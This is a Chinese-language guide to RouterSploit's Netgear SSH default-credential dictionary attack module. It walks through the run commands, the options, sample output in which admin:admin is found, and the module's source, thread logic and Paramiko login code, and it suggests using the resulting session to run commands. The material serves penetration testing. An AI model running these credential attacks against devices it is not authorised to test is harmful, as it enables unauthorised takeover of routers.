RouterSploit 实战:Netgear 路由器 SSH 默认凭据字典攻击模块(ssh_default_creds)完全指南
RouterSploit 实战:Netgear 路由器 SSH 默认凭据字典攻击模块(ssh_default_creds)完全指南
RouterSploit 是面向嵌入式设备的渗透测试与漏洞利用框架,其 creds 模块体系专门用于对各类路由器、摄像头的服务执行默认凭据与弱口令检测。本文聚焦于 ssh_default_creds.py 这一 Netgear 路由器专用模块,完整讲解其使用步骤、全部可配置参数、源码执行流程与底层 SSH 认证原理,帮助你快速评估目标 Netgear 路由器是否仍在使用出厂默认 SSH 凭据,并掌握将其泛化到其他设备的思路。
模块简介:对 Netgear 路由器 SSH 服务的默认凭据字典攻击
该模块的官方描述为:"Module performs dictionary attack with default credentials against Netgear Router SSH service. If valid credentials are found, they are displayed to the user."(对 Netgear 路由器 SSH 服务执行默认凭据字典攻击,若发现有效凭据则展示给用户)。
它属于 creds/routers/netgear 目录下的三个默认凭据模块之一(另两个分别针对 FTP 与 Telnet 服务),与 ftp_default_creds.py、telnet_default_creds.py 并列,共同覆盖 Netgear 路由器最常见的三种远程管理协议。
从源码结构看,该模块是一个非常典型的"厂商定制"薄壳:它继承自通用模块 ssh_default.py(即 SSHDefault),只做两件事——声明厂商与作者元数据、收紧默认参数。真正的字典攻击逻辑全部由父类复用,这也是 RouterSploit 将大量厂商模块收敛为少量通用引擎的设计哲学。
from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault):
__info__ = {
"name": "Netgear Router Default SSH Creds",
"description": "Module performs dictionary attack against Netgear Router SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Netgear Router",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,admin:1234,admin:", "User:Pass or file with default credentials (file://)")
快速上手:验证步骤(Verification Steps)
原文档给出了标准的四步操作流程,在 rsf.py 启动的交互式解释器中即可完成:
- 启动框架:
./rsf.py - 加载模块:
use creds/routers/netgear/ssh_default_creds - 设置目标:
set target [TargetIP](例如set target 192.168.1.1) - 执行攻击:
run - 若发现有效凭据,结果将以表格形式展示给用户
target 选项类型为 OptIP,既支持单个 IPv4/IPv6 地址,也支持通过 file:// 前缀引用一个包含 ip:port 列表的文件,便于批量扫描多个目标。
选项详解:模块全部可配置参数
虽然 Netgear 模块自身只声明了四个选项,但继承自父类 SSHDefault 后,实际可用的完整选项还包括 stop_on_success 与 verbosity。汇总如下:
| 选项 | 类型 | 默认值 | 说明 |
|---|---|---|---|
target |
OptIP |
空 | 目标 IPv4/IPv6 地址,或 file:// 形式的 ip:port 列表文件 |
port |
OptPort |
22 |
目标 SSH 端口 |
threads |
OptInteger |
1 |
并发线程数(Netgear 模块默认 1,通用模块默认为 8) |
defaults |
OptWordlist |
admin:admin,admin:1234,admin: |
User:Pass 凭据列表,或以 file:// 引用字典文件 |
stop_on_success |
OptBool |
True |
找到第一组有效凭据后是否立即停止攻击 |
verbosity |
OptBool |
True |
是否逐条显示认证尝试过程 |
其中两个值得深入说明:
threads(并发线程数):Netgear 模块将默认线程数刻意收紧为 1,而父类通用模块默认是 8。这是因为 Netgear 默认凭据列表极短(仅 3 组),单线程即可瞬时完成;当你在 set 后扩大字典或改用 file:// 大字典时,可适当调高该值加速,但需注意对目标设备的连接压力。
defaults(凭据字典):Netgear 模块内置了三组针对该厂商最典型的默认组合:admin:admin、admin:1234、admin:(即用户名为 admin、空密码)。从 option.py 中 OptWordlist 的实现可以确认其解析规则:
- 值以
file://开头时,读取指定文件,每行一个User:Pass条目; - 否则按逗号
,切分为列表。
class OptWordlist(Option):
def __get__(self, instance, owner):
if self.display_value.startswith("file://"):
path = self.display_value.replace("file://", "")
with open(path, "r") as f:
lines = [line.strip() for line in f.readlines()]
return lines
return self.display_value.split(",")
因此你可以用 set defaults file:///path/to/my_creds.txt 加载自定义字典,每行形如 admin:admin。文件不存在时赋值会直接抛出 OptionValidationError,保证误操作被提前拦截。
实战场景演示(Scenarios)
原文档给出了完整的真实运行输出,完整继承如下:
rsf > use creds/routers/netgear/ssh_default_creds
rsf (Netgear Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netgear Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!
Target Port Service Username Password
------ ---- ------- -------- --------
192.168.1.1 22 ssh admin admin
注意示例输出中实际尝试了 4 组失败凭据(admin:12345、admin:123456、Admin:12345、Admin:123456)后命中 admin:admin——这说明运行前字典已被手动扩展(默认仅 3 组),也印证了 set defaults 的灵活性。整个会话的关键信息点包括:
- 攻击前先探测目标是否暴露 SSH 服务(
Target exposes SSH service); - 每条失败尝试输出
SSH Authentication Failed,成功时输出SSH Authentication Successful; - 命中后以表格汇总
Target / Port / Service / Username / Password五列; - 若全部失败,则会输出
Credentials not found。
源码剖析:一次默认凭据攻击的完整执行链路
父类 ssh_default.py 中定义了完整的攻击编排逻辑,链路为:run() → attack() → check() + target_function()。
入口 run() 先清空凭据缓存,随后调用 attack():
def run(self):
self.credentials = []
self.attack()
attack() 方法带有 @multi 装饰器(支持多目标批量执行),其流程是:
- 调用
check()验证目标是否开放 SSH 服务,未开放则直接返回; - 打印 "Starting default credentials attack against SSH service";
- 将凭据列表包装为
LockedIterator(线程安全迭代器),通过run_threads()启动threads个线程执行target_function; - 若
self.credentials非空,以五列表格打印结果;否则输出Credentials not found。
target_function() 是每个线程的工作单元:从共享迭代器中取出一组 username:password(按第一个冒号切分),创建 SSH 客户端并调用 login() 尝试认证。命中后,若 stop_on_success 为真则清空线程事件标志(running.clear())通知其余线程停止,并将命中记录追加到 self.credentials:
def target_function(self, running, data):
while running.is_set():
try:
username, password = data.next().split(":", 1)
ssh_client = self.ssh_create()
if ssh_client.login(username, password):
if self.stop_on_success:
running.clear()
self.credentials.append((self.target, self.port, self.target_protocol, username, password))
ssh_client.close()
except StopIteration:
break
check() 是前置探测:创建一个 SSH 客户端执行 test_connect(),成功则输出 "Target exposes SSH service" 并返回 True。注意 test_connect() 并非真的尝试登录,而是故意用一个随机 12 位密码(random_text(12))以用户名 root 发起连接——只要服务器返回 AuthenticationException,就说明 SSH 服务确实在监听且接受认证流程,此时判定探测成功(详见 ssh_client.py)。
此外,父类还提供了 @mute 装饰的 check_default() 方法:静默执行完整字典攻击并返回命中的凭据列表(供框架的 check 机制与自动扫描链路使用,不会向终端输出过程信息)。
底层原理:SSH 客户端如何完成认证
所有认证动作最终落在 ssh_client.py 的 SSHCli 类上,其底层基于 Paramiko 实现:
- 连接超时与 banner 超时均为
SSH_TIMEOUT = 8.0秒; - 连接时显式设置
look_for_keys=False、allow_agent=False,避免本地 SSH 密钥与 ssh-agent 干扰密码认证; - 认证失败(
paramiko.AuthenticationException)时打印 "SSH Authentication Failed - Username: 'xxx' Password: 'xxx'",关闭连接并返回False; - 认证成功则打印 "SSH Authentication Successful",返回
True; - 其他异常统一归类为 "SSH Error while authenticating",避免单个目标的网络抖动中断整个字典攻击。
def login(self, username: str, password: str, retries: int = 1) -> bool:
for _ in range(retries):
try:
self.ssh_client.connect(
self.ssh_target, self.ssh_port,
timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT,
username=username, password=password,
look_for_keys=False, allow_agent=False,
)
except paramiko.AuthenticationException:
print_error(self.peer, "SSH Authentication Failed - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
self.ssh_client.close()
break
except Exception as err:
print_error(self.peer, "SSH Error while authenticating", err, verbose=self.verbosity)
else:
print_success(self.peer, "SSH Authentication Successful - Username: '{}' Password: '{}'".format(username, password), verbose=self.verbosity)
return True
self.ssh_client.close()
return False
由于 SSHCli 暴露了 execute()、interactive()、get_file() / send_file() 等能力,命中默认凭据后你可以在 RouterSploit 中继续利用 SSH 通道执行命令或交互式登录,实现从"探测到弱口令"到"建立会话"的完整闭环。
测试用例:模块行为如何被验证
仓库为每个凭据模块都配套了单元测试,Netgear SSH 模块对应 test_ssh_default_creds.py,它使用 conftest.py 中基于 TelnetServiceMock 的 generic_target fixture(SSH 模块测试复用 Telnet mock 验证"非 SSH 服务不被误判"的场景):
def test_check_success(generic_target):
""" Test scenario - testing against SSH server """
exploit = Exploit()
assert exploit.target == ""
assert exploit.port == 22
assert exploit.threads == 1
assert exploit.defaults == ["admin:admin", "admin:1234", "admin:"]
assert exploit.stop_on_success is True
assert exploit.verbosity is True
exploit.target = generic_target.host
exploit.port = generic_target.port
assert exploit.check() is False
assert exploit.check_default() is None
assert exploit.run() is None
该用例同时固化了模块的四个关键契约:默认端口为 22、默认线程数为 1、默认字典为 ["admin:admin", "admin:1234", "admin:"]、stop_on_success 与 verbosity 默认均为 True;并验证了面对非 SSH 服务时 check() 返回 False、check_default() 与 run() 返回 None(不产生误报、不抛异常)的健壮行为。
使用要点与注意事项
- 仅面向授权测试:本模块用于默认凭据与弱口令检测,请在获得合法授权的前提下对目标设备使用,避免未授权扫描带来的法律风险。
- 默认字典很精简:内置仅 3 组凭据,覆盖最常见的
admin账号组合;真实评估时应通过set defaults file://...挂载更完整的厂商字典,或参考同一目录下其他厂商模块的字典写法自行扩充。 stop_on_success与verbosity的取舍:批量扫描大量目标时可设置set stop_on_success true减少无效连接;取证场景需保留完整失败日志时保持verbosity true。- 结果验证:命中凭据后,除终端表格外,你还可以利用
SSHCli提供的execute()/interactive()方法实际登录验证凭据有效性并检查设备配置,确认是否存在进一步被利用的可能。 - 同类模块迁移:理解 Netgear 模块的"薄壳继承"模式后,你可以轻松迁移到其他厂商——只需参考 creds/routers 目录下各厂商同名模块,替换
__info__元数据、devices列表与defaults字典即可复用同一套 SSH 字典攻击引擎。